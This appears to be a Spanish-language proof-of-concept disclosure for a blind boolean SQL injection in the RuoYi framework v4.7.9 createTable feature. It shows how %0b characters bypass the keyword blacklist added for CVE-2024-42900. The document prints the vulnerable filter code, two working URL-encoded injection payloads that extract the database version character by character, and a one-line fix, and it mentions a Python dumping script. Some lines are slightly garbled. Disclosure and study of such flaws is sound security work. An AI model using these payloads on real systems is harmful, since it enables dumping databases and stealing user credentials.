
Exploit de prueba de concepto de inyección SQL ciega para RuoYi v4.7.9, evitando el filtro CVE-2024-42900 para volcar bases de datos mediante inyección booleana autenticada.
Descubrí una vulnerabilidad de Inyección SQL Ciega en la funcionalidad createTable de RuoYi Framework v4.7.9. Esto permite a un administrador autenticado ejecutar comandos SQL arbitrarios a través del parámetro sql. Esto es un bypass de la corrección de CVE-2024-42900, ya que el filtro de Inyección SQL en el método filterKeyword es insuficiente, la expresión regular puede ser evitada usando %0b como carácter alternativo a los espacios.
Producto: RuoYi Framework
Versión: ≤ 4.7.9
Enlace: [Ruoyi]
La vulnerabilidad se encontró en el archivo https://github.com/yangzongzhuan/RuoYi/blob/master/ruoyi-common/src/main/java/com/ruoyi/common/utils/sql/SqlUtil.java como se indica. La aplicación se basa en palabras clave en lista negra para filtrar ataques de Inyección SQL, este enfoque es propenso a bypasses. En este caso, para corregir CVE-2024-42900, se agregó la cadena a la lista negra, pero la aplicación aún no bloquea el carácter , por lo que puedo usarlo para desencadenar Inyección SQL con .
/*%0bselect%0bpublic class SqlUtil
{
/**
* 定义常用的 sql关键字
*/
public static String SQL_REGEX = "and |extractvalue|updatexml|sleep|exec |insert |select |delete |update |drop |count |chr |mid |master |truncate |char |declare |or |union |like |+|/*|user()";
// Note the space after 'select '
public static void filterKeyword(String value)
{
if (StringUtils.isEmpty(value))
{
return;
}
String[] sqlKeywords = StringUtils.split(SQL_REGEX, "\\|");
for (String sqlKeyword : sqlKeywords)
{
if (StringUtils.indexOfIgnoreCase(value, sqlKeyword) > -1)
{
throw new UtilException("参数存在SQL注入风险");
}
}
}
}
La expresión regular select coincide con select (seguido de un espacio). No coincide con select%0b, que es un separador válido en SQL.
/tool/gen/createTable)
sql=CREATE%20table%20j2iz96_666%20as%20SELECT%0b111%20FROM%20sys_job%20WHERE%201%3d0%20AND%0bIF(ascii(substring((select%0b%40%40version)%2c18%2c1))%3d45%2c%201%2c%201%2f0)%3b
sql=CREATE%20table%20j2iz96_665%20as%20SELECT%0b111%20FROM%20sys_job%20WHERE%201%3d0%20AND%0bIF(ascii(substring((select%0b%40%40version)%2c5%2c1))%3d44%2c%201%2c%201%2f0)%3b
Precaución: Es necesario cambiar el nombre de la tabla en la consulta CREATE después de cada consulta exitosa.
3. Con la Inyección SQL basada en booleanos, se pueden extraer datos usando el [poc] en Python de este repositorio
Uso

Extraer versión de BD con PoC

Un atacante con privilegios de administrador puede volcar toda la base de datos, incluidas las credenciales de otros usuarios y las configuraciones del sistema.
%0b.select en lugar de select (eliminar el espacio al final)